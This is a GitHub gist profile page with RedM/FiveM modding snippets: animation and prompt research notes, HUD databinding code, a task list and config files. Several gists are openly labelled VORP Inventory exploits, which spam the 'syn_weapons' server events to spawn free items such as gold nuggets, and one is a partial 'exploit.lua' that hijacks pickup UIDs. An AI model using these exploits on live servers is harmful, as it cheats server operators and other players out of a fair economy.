Skip to content

Instantly share code, notes, and snippets.

View draobrehtom's full-sized avatar
😁
Suffering from idleness

Drao draobrehtom

😁
Suffering from idleness
View GitHub Profile

RedM MoveNetwork Research

Introduction

MoveNetwork natives in RedM are typically used to control specific scenarios that have multiple animation steps and involve interacting with items/objects in the world.

For example, MoveNetwork natives are used to control (portions of) the bathing sequence, campfire interaction, base game character creation char movement, and many of the minigame sequences found in the game.

They are also used in the safe-cracking minigame - this is the example we will be using in this documentation, as it relates to the vault itself.

@draobrehtom
draobrehtom / client.lua
Created July 1, 2024 09:04
VORP Inventory Item Exploit - from 01.07.2024
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
TriggerServerEvent('syn_weapons:buyammo', 'water', 0, 1, 'Water')
-- Be careful, or you might flood your script with water

Prompt Research

Note: The code examples below should work on RedM. On other frameworks, you may need to adjust some function names.

Creating prompts

To create a prompt, start with _UI_PROMPT_REGISTER_BEGIN (0x04F97DE45A519419), set up some settings, then finish with _UI_PROMPT_REGISTER_END (0xF7AA2696A22AD8B9). While there's a native to create prompts (_UI_PROMPT_CREATE (0x29FA7910726C3889)), there aren't many exemples around.

A prompt basically needs a control and a text. You can find a list of controls here Controls (femga/rdr3_discoveries). The text has to be created with VAR_STRING (0xFA925AC00EB830B9).

--[[
Copyright 2022 ZeroDream
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
@draobrehtom
draobrehtom / client.lua
Last active July 1, 2024 07:10
VORP Inventory Item Exploit
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
TriggerServerEvent('syn_weapons:givebackbox', 'gold_nugget')
-- Wow, It's a lot of gold :P
@draobrehtom
draobrehtom / hud_money.lua
Last active March 26, 2024 23:21
RedM Hud Money
local menuContainer = DatabindingAddDataContainerFromPath('', 'Tithing')
local campCashContainer = DatabindingAddDataContainer(menuContainer, 'CampFunds')
DatabindingAddDataInt(campCashContainer, 'dollars', 69)
DatabindingAddDataInt(campCashContainer, 'cents', 69)
local cashContainer = DatabindingAddDataContainer(menuContainer, 'PlayerCash')
DatabindingAddDataInt(cashContainer, 'dollars', 420)
DatabindingAddDataInt(cashContainer, 'cents', 69)
@draobrehtom
draobrehtom / exploit.lua
Last active July 1, 2024 09:07
Exploiting inventory items within the VORP Framework (RedM) for educational purposes.
-- vorp_inventory source code:https://github.com/VORPCORE/vorp_inventory-lua
local uid = nil
RegisterNetEvent('vorpInventory:sharePickupClient', function(data)
if data.obj == 'NEVER_TRUST_CLIENT_SIDE' then
uid = data.uid
end
end)
RegisterCommand('exploit', function(source, args)
local name = args[1] or 'gold_nugget'
@draobrehtom
draobrehtom / tasks.lua
Created May 13, 2022 18:10
GTA V Tasks List
tasksIndex = {
CTaskHandsUp = 0,
CTaskClimbLadder = 1,
CTaskExitVehicle = 2,
CTaskCombatRoll = 3,
CTaskAimGunOnFoot = 4,
CTaskMovePlayer = 5,
CTaskPlayerOnFoot = 6,
CTaskWeapon = 8,
CTaskPlayerWeapon = 9,
Config = {}
if GetResourceState('es_extended') == 'started' or GetResourceState('extendedmode') == 'started' then -- ESX
Config.Framework = "ESX"
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
elseif GetResourceState('qb-core') == 'started' then -- QBCore
Config.Framework = "QBCore"
local success = pcall(function()
print(exports['qb-core'].GetCoreObject)
end)
@draobrehtom
draobrehtom / package.json
Created January 14, 2020 20:32
FiveM: JS - Development config
{
"name": "gungame",
"version": "1.0.0",
"description": "Gun Game gamemode for FiveM",
"main": "index.js",
"scripts": {
"buildc": "tsc --build src/client/tsconfig.json",
"builds": "tsc --build src/server/tsconfig.json",
"build": "npm run buildc && npm run builds",
"format": "prettier --write \"src/**/*.ts\" \"src/**/*.js\"",